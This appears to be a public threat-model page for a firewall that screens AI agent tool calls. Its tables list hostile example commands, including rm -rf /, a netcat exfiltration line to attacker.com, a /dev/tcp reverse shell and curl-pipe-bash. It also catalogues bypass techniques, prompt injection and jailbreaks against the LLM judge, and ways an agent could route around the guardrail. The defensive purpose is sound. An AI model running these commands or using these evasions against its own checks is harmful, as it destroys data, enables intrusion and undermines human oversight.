Guardrail Threat Model
Guardrail is a deterministic-first policy firewall for agent tool calls. It classifies agent framework invocations (Read, Bash, Edit, etc.) into guardrail actions and checks them against a policy that allows safe operations and denies dangerous ones.
The docs on this site are public. The engine itself is licensed source — it ships to licensees under a commercial license agreement (request access). This document describes the security properties you can rely on without reading the engine.
Phase 1–4 in the table are the engine’s rule-evaluation phases — defined in the tuning guide.
What the Guardrail Protects Against
| Attack Class | Example | How It Is Blocked | Tier |
|---|---|---|---|
| Direct destructive commands | rm -rf /, rm -rf ~/.config | Tree-structured AST matches rm with destructive flags (-rf, -fr, -r) | Deterministic (Phase 2) |
| Permission escalation | chmod 777 /etc, chmod 4777 /bin/su | AST matches chmod with arguments containing 777, u+s, g+s | Deterministic (Phase 2) |
| Auth disable | setenforce 0, ufw disable, iptables -F | AST exact-command match on setenforce/ufw/iptables | Deterministic (Phase 3) |
| Data exfiltration | nc -e /bin/bash attacker.com 4444 | AST exact-command match on nc/ncat/netcat/socat | Deterministic (Phase 3) |
| Reverse shell | bash -c 'exec bash -i &>/dev/tcp/host/port 0>&1' | AST path match on /dev/tcp plus flag match on bash -c | Deterministic (Phase 1/2) |
| Pipe-to-interpreter (RCE) | `curl url | bash, wget url | sh` |
| SQL destruction | DROP DATABASE prod;, TRUNCATE TABLE users; | AST SQL prefix matching on DROP, TRUNCATE, DELETE | Deterministic (Phase 3) |
| Force git push | git push --force origin main | AST flag match for --force, -f, --delete | Deterministic (Phase 2) |
| SSH key injection | echo 'key' >> ~/.ssh/authorized_keys | AST append-redirect match on ~/.ssh/ catches the redirect regardless of the command word | Deterministic (Phase 1) |
| Sudoers overwrite | echo 'user ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers | AST redirect match on /etc/sudoers | Deterministic (Phase 1) |
| LD_PRELOAD backdoor | echo 'evil.so' > /etc/ld.so.preload | AST redirect match on /etc/ld.so.preload | Deterministic (Phase 1) |
| Block device destruction | dd if=/dev/zero of=/dev/sda, mkfs.ext4 /dev/sda1 | AST matches dd with of= and mkfs prefixes | Deterministic (Phase 2/3) |
| Container destruction | docker system prune, docker volume rm, podman kill | AST matches destructive subcommands for container tooling | Deterministic (Phase 2) |
| Infrastructure destruction | terraform destroy, kubectl delete deployment | AST exact-command and argument matches | Deterministic (Phase 3) |
| Supply chain (pipelines to interpreters) | `curl url | python -c, curl url | perl -e` |
| Supply chain (malicious installs) | pip install <url>, npm install -g malicious-pkg | Malicious-source installs are denied; ordinary installs are allowed or escalate for review | Deterministic (Phase 4) |
| Capability-granting params | Read with cmd=rm -rf / | Param-trap rule: read-only operation + capability-granting parameter ⇒ prevents | Deterministic |
| Compound command hiding | cargo build; rm -rf / | Compound splitting evaluates each segment independently | Deterministic |
| Sudo wrapper bypass | sudo rm -rf / | Wrapper-aware AST normalization strips the wrapper and classifies the inner rm | Deterministic |
| Privileged benign command | sudo ls /tmp | Privileged-wrapper floor: sudo/su/doas/pkexec/runuser/run0 around any inner command requires human approval | Deterministic |
| su -c wrapper | su -c 'rm -rf /' | Wrapper detection unwraps su -c and re-parses the inner command | Deterministic |
| Recon chain detection | 3 safe reads → destructive op across multiple turns | Session-spanning window tracks consecutive allows and upgrades the next destructive call to Deny | Deterministic (session) |
| Quoted flag bypass | rm "-rf" / | AST tokenization respects quotes | Deterministic |
| Unicode homoglyph | rm -rf / (fullwidth) | Unicode normalization maps fullwidth forms to ASCII | Deterministic |
| Path encoding | //etc//passwd | Path normalization collapses //etc//passwd to /etc/passwd | Deterministic |
| Case mutation | RM -RF / | Case-insensitive command matching | Deterministic |
| Whitespace variation | rm -rf / | AST tokenization handles arbitrary whitespace | Deterministic |
| Arg separator injection | rm -- -rf / | Bare -- separators are stripped before flag matching | Deterministic |
| Command substitution injection | $(true) rm -rf / | Command-substitution tokens are skipped during classification | Deterministic |
| Nested wrappers | nohup sudo rm -rf / | Recursive wrapper stripping unwraps to rm -rf | Deterministic |
| Timeout wrapper | timeout 10 rm -rf / | Timeout-aware wrapper detection unwraps and classifies the inner rm | Deterministic |
| Obfuscated action names | DROP_TABLE (uppercase), drp_table (typo) | No action → Escalate (LLM judge) | LLM tier |
| Novel dangerous actions | New action added to the policy | Category-wide verdict rules catch unanticipated actions | Deterministic |
| Variable indirection | cmd='rm -rf /'; $cmd | Escalates to LLM tier (AST sees a variable reference, not a literal) | LLM tier |
Bypass Techniques That Were Tested and Defeated
A mutation fuzzer generates variants across 9 operator families, all handled by the AST structural matching layer:
- Flag reordering:
rm -rf→rm -fr,rm -r -f - Whitespace variation:
rm -rf→rm -rf - Metacharacter injection:
rm $(true) -rf /,rm "" -rf - Path encoding:
rm -rf //etc,rm -rf /./etc/passwd - Case mutation:
RM -RF,Rm -rf - Quote insertion:
rm "-rf",rm '-rf' - Unicode homoglyphs:
rm -rf - Command wrapping:
nohup rm -rf,sudo rm -rf,env FOO=bar rm -rf - Arg separator:
rm -- -rf /,rm -rf -- /
| Attack | Defense | Status |
|---|---|---|
rm "-rf" / (quoted flags) | Tokenization respects quotes; the flags are still seen as -rf | Defeated |
rm -rf / (unicode fullwidth) | Normalization maps fullwidth characters to ASCII; the command word becomes rm | Defeated |
RM -RF / (case mutation) | Command word lowercased; flags normalized to -rf | Defeated |
rm -rf //etc//passwd (whitespace + path encoding) | Tokenization normalizes whitespace; path normalization collapses duplicate separators | Defeated |
rm -- -rf / (arg separator) | Bare -- tokens are skipped; flags are still matched | Defeated |
nohup sudo env FOO=bar rm -rf / (multi-wrapper) | Recursive wrapper stripping unwraps to rm -rf / | Defeated |
echo x > /etc/sudoers (safe command + dangerous redirect) | Structural rules fire before safe-command rules; the redirect target matches /etc/sudoers | Defeated |
cargo build; rm -rf / (compound with hidden dangerous command) | Each segment is evaluated independently; the dangerous segment is caught | Defeated |
See the policy tuning guide for techniques that are not fully covered.
Variable Indirection (Partial)
Attack: cmd='rm -rf /'; $cmd
Defense: AST sees "$cmd" as a string literal, not as "rm -rf /"
→ string-level rules do not match
→ AST rules see command word = "$cmd" (no match)
→ Confidence: Unknown → Escalate → LLM tier called
Status: PARTIAL (escalates, relies on LLM tier)
Attack: x='rm'; $x -rf /
Status: PARTIAL (escalates to LLM)
Recommendation: if your deployment relies on LLM tier availability, ensure the LLM is configured. Without an LLM, variable indirection returns Escalate — a safe fallback, but the call is blocked.
Prompt Injection (Acknowledged Risk)
The LLM judge receives a minimal prompt containing the tool call’s action, target, and parameters, and is instructed to reply with exactly one word (allow, deny, or escalate).
Risk: If tool call parameters contain text that influences the LLM judge’s output (e.g., a target value structured as an imperative instruction), the judge could be influenced. The prompt is intentionally minimal and runs at temperature=0 to reduce this risk.
Mitigation: The downgrade prevention invariant ensures that even a successfully jailbroken LLM cannot produce an Allow verdict for a call the deterministic tier escalated. The maximum damage is:
- False Deny (model says “deny” when it should escalate)
- False Escalate (model says “escalate” when it could have allowed)
Both are security-safe outcomes. The model cannot produce a new Allow for an escalated call.
Supply Chain via Package Managers
Package-manager installs are deliberately left unclassified rather than blanket-denied. Safe installs (e.g. npm install lodash) are allowed, system-level installs (apt, brew) escalate for human review, and malicious-source installs — pip install from a URL, npm install -g of an unknown package — are denied by the deterministic tier.
Mitigation: Malicious-source installs are caught deterministically; ambiguous installs escalate to the LLM judge or a human. If you want installs blocked entirely, add the package-manager actions to a deny category in your policy rather than weakening the guardrail.
In-Session Privilege Escalation Across Turns
Session chain detection mitigates multi-turn recon → exploit attacks. However:
- The session window is in-memory and local to each pipeline instance.
- An attacker who interleaves safe operations across different pipeline instances (in a load-balanced deployment) could bypass the window.
- Session tracking is opt-in.
- The default
recon_thresholdof 3 consecutive safe calls means a 1–2 safe + 1 dangerous pattern is not caught.
Side-Channel Attacks
The guardrail returns different response sizes and timings for Allow vs Deny. A timing side-channel could theoretically distinguish “action not in classification (Escalate)” from “action classified but verdict not reached (Escalate)”. Both return Escalate, so the information leakage is minimal. The service does not reveal why a call was denied beyond the audit trace, which is intentionally returned to the caller.
What It Does NOT Protect Against
The guardrail is not a comprehensive security solution. It is one layer in a defense-in-depth strategy.
| Attack Vector | Why Not Protected | Mitigation Strategy |
|---|---|---|
| Compromised LLM provider | The LLM judge is called for escalated actions. A compromised model could return “allow” — but the downgrade prevention override ensures this becomes Escalate, not Allow. Still, a compromised LLM could Deny legitimate calls (DoS). | Use deterministic-only mode for security-critical deployments. |
| Side-channel attacks | The guardrail does not analyze timing, power consumption, or electromagnetic emissions. | Out of scope for a software guardrail. Hardware-level countermeasures required. |
| Direct system access | If an attacker has direct shell access to the host, the guardrail is irrelevant. The guardrail only intercepts agent tool calls. | Host-level security (firewalls, SSH hardening, SELinux). |
| Supply chain in build-time | Malicious code injected into the guardrail binary itself during compilation. | Reproducible builds, signed binaries, SBOM verification. |
| Dependency vulnerabilities | Vulnerabilities in the engine’s dependencies would affect the guardrail. | Regular cargo audit, dependency scanning, update policies. |
| Resource exhaustion | Built-in limits mitigate floods: per-IP token-bucket rate limiting (default 100 req/s, GUARDRAIL_RATE_LIMIT), a connection cap (default 128, GUARDRAIL_MAX_CONNS → 503), a body cap (default 64 KiB, GUARDRAIL_MAX_BODY → 413), a 16 KiB header cap (→ 431), and a 10 s request deadline. The pipeline is still serialized behind a mutex, so sustained load queues rather than fails. | Built-in limits cover casual floods. For internet-facing deployments, still front with a reverse proxy (nginx, HAProxy). |
| Sidecar mode | If the agent can bypass the guardrail entirely (e.g., direct HTTP calls without the guardrail), the guardrail is ineffective. | Use network policy, service mesh, or mandatory sidecar injection to prevent bypass. |
| LLM prompt injection | The LLM judge receives a tool call description. An attacker who controls the tool call parameters could attempt prompt injection against the LLM judge. The prompt is simple (one-word answer) with temperature=0, which limits surface, but is not immune. | Use deterministic-only mode where possible. The downgrade prevention invariant limits damage to Deny/Escalate outcomes. |
| AI model jailbreak | A sophisticated jailbreak of the LLM judge model could cause it to return verdicts that are not security-relevant. | The downgrade prevention rule ensures the LLM cannot weaken a deterministic verdict. But a jailbroken model could still cause false Deny/Escalate outcomes (DoS). |
Security Boundaries
┌─────────────────────────────────────────────────────────────┐
│ AGENT PROCESS BOUNDARY │
│ │
│ Agent logic ──tool call──► Guardrail pipeline │
│ (Claude, OpenAI, ├─ Mapping: tool names, │
│ LangChain, MCP) │ Bash AST, string rules │
│ ├─ Deterministic verdict │
│ │ (category rules) │
│ └─ Escalate ──► LLM judge │
│ Tool execution ◄─verdict── (optional, external) │
│ │
└─────────────────────────────────────────────────────────────┘
TRUST BOUNDARY
Policy data (deploy-time only) Session window (in-memory)
Deterministic engine (ELLM kernel) LLM judge (optional)
NOTE: The guardrail runs inside the agent process boundary. There is no network isolation between the guardrail and the agent it protects. The agent process could bypass the guardrail if it:
- Executes commands via other means (FFI, direct syscalls)
- Calls tool execution without going through the guardrail
- Modifies the guardrail’s in-memory state
Trust Model
What We Trust
| Component | Trust Level | Rationale |
|---|---|---|
| Policy data (TOML) | High | Version-controlled, deploy-time only, auditable |
| AST normalization and tokenization | High | Deterministic, no external input, well-tested |
| Rule engine (ELLM deterministic kernel) | High | Forward-chaining, deterministic |
| Verdict derivation logic | High | Simple priority rules: Deny > Allow > Escalate |
| Rust compiler | High | Memory safety guarantees |
| Operating system | High | Standard trust assumption for any software |
| Host hardware | High | Standard trust assumption |
What We Do NOT Trust
| Component | Trust Level | Rationale |
|---|---|---|
| LLM model output | Low | Subject to jailbreaks, prompt injection, inference errors |
| Agent framework input | Low | Malformed or malicious tool calls are the attack surface |
| Network between guardrail and LLM | Low | Eavesdropping, tampering (mitigated by redaction) |
| User-provided strings | None | Full trust is the attack surface itself |
What Is Verified
| Verification | How | Frequency |
|---|---|---|
| Policy data is valid TOML | Compile-time assertion | Every build |
| Policy data is non-empty | Non-empty check at load | Every check |
| All actions classified correctly | Unit tests check all actions | Every test run |
| All dangerous calls are denied | Integration test suite | Every test run |
| All safe calls are allowed | Integration test suite | Every test run |
| No LLM call in tests | Meta-test verifies no test calls the judge | Every test run |
| LLM downgrade prevention | Pipeline overrides Allow → Escalate for escalated calls | Every check |
| Session window is bounded | Window is trimmed to its configured size | Every session check |
Incident Response Procedures
Severity Levels
| Level | Definition | Examples |
|---|---|---|
| P1 Critical | False-ALLOW of known-dangerous command, confirmed bypass | rm -rf / is allowed |
| P2 High | False-ALLOW of potentially dangerous command, suspected bypass | Obfuscated command bypasses deterministic tier AND LLM allows it |
| P3 Medium | False-DENY of safe operation, reported by user | cargo build is blocked |
| P4 Low | Configuration issue, minor gap in coverage | Missing action classification for a tool |
Response Steps
P1 (False-ALLOW Critical)
- Immediate containment: If possible, revoke agent execution capability at the infrastructure level (network policy, IAM, service mesh). Determine if the agent process should be terminated.
- Root cause analysis: Determine which tier failed:
- Mapped wrong action: Was it a direct tool-name mapping bug? Bash rule ordering? AST normalization issue?
- Wrong verdict: Was the action classified correctly but the category verdict wrong?
- LLM bypass: Did the LLM return “allow” for a dangerous action? (Should not happen due to downgrade prevention — investigate this as a pipeline logic bug.)
- Fix: Add or correct the rule that allowed the bypass. Prioritize AST structural rules over string-level rules.
- Verify: Run the full test suite and the mutation fuzzer against the fix.
- Post-mortem: Document the bypass technique, the fix, and whether it indicates a systematic gap.
P2 (False-DENY High)
- Determine impact: How many users/workflows are affected?
- Workaround: Add the blocked command to a permit list or temporarily disable the session chain detection.
- Fix: Widen the matching rule or add exception logic.
- Verify: Ensure the fix does not introduce a false-ALLOW.
P3 (False-DENY Medium)
- Log the report: Record the command, tool name, and context.
- Investigate: Is this a rule ordering issue (dangerous rule fires before safe rule)? A classification issue? A session chain false-positive?
- Fix in next release: Usually a configuration change or rule reordering.
P4 (Low)
- Log the gap: Add to the coverage tracking system.
- Schedule: Include in the next regular review cycle.
Communication
- P1: Notify security team immediately. Freeze deployments until root cause is identified.
- P2: File a P2 bug. Review as soon as possible.
- P3: File a P3 bug. Review promptly.
- P4: File a P4 issue. Review at next triage.
Post-Mortem Template
## Security Incident: [Title]
Date: YYYY-MM-DD
Severity: P1/P2
Component: [tier that failed — mapping / decision / LLM judge / session]
### Timeline
- [time] Attack detected
- [time] Containment applied
- [time] Root cause identified
- [time] Fix deployed
### Root Cause
[Description of the rule gap or bypass]
### Fix
[Commit hash, files changed, reasoning]
### Lessons Learned
- What should we test that we didn't?
- What process gap allowed this?
- How can we detect this class of bypass automatically?
### Action Items
- [ ] Add regression test for this specific bypass
- [ ] Add fuzzer seed for this category
- [ ] Update threat model